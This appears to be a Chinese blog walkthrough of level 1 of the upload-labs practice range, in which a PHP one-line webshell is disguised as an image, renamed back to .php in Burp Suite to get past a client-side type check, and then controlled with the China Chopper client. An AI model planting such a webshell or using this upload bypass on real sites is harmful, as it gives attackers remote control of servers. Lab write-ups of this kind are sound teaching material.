upload-labs第一关

你的名字 2023-03-01 08:48 6阅读 0赞

[后续关卡][Link 1]

首先，打开靶场，进入第一关  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70]  
然后先上传一个正常的图片，测试一下靶场安装是否正常  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 1]

那再上传一个php文件试试。提示不行，只能上传jpg、png、gif类型的文件，说明这一关考的是限制文件上传的类型  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 2]

那就用php（用其他语言写也行）写个一句话木马，然后将文件后缀改为png之类的

<?php
    eval($_POST['123']);
    //或者
    eval($_GET['123']);
    //123是密码，等下会用到，随便取什么值都行
    ?>

![在这里插入图片描述][20200723092238488.png]  
点上传文件之前，先给浏览器设置个代理服务器  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 3]

然后在burp suite里抓包

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 4]  
把文件后缀从png改回php，再发送给服务器

![在这里插入图片描述][20200723092502558.png]  
右击刚刚上传的图片，啥都看不到是正常的  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 5]

选择属性，找到刚刚上传的图片路径地址  
![在这里插入图片描述][20200723114653791.png]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 6]

在菜刀里找个空白的地方，右击鼠标，选择添加  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 7]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 8]

添加好了之后，就会在第一行出现记录  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 9]  
点击它，就能连接后台了

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 10]

[Link 1]: https://blog.csdn.net/weixin_45663905/article/details/107538502
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[20200723092238488.png]: https://img-blog.csdnimg.cn/20200723092238488.png
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[20200723092502558.png]: https://img-blog.csdnimg.cn/20200723092502558.png
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[20200723114653791.png]: https://img-blog.csdnimg.cn/20200723114653791.png
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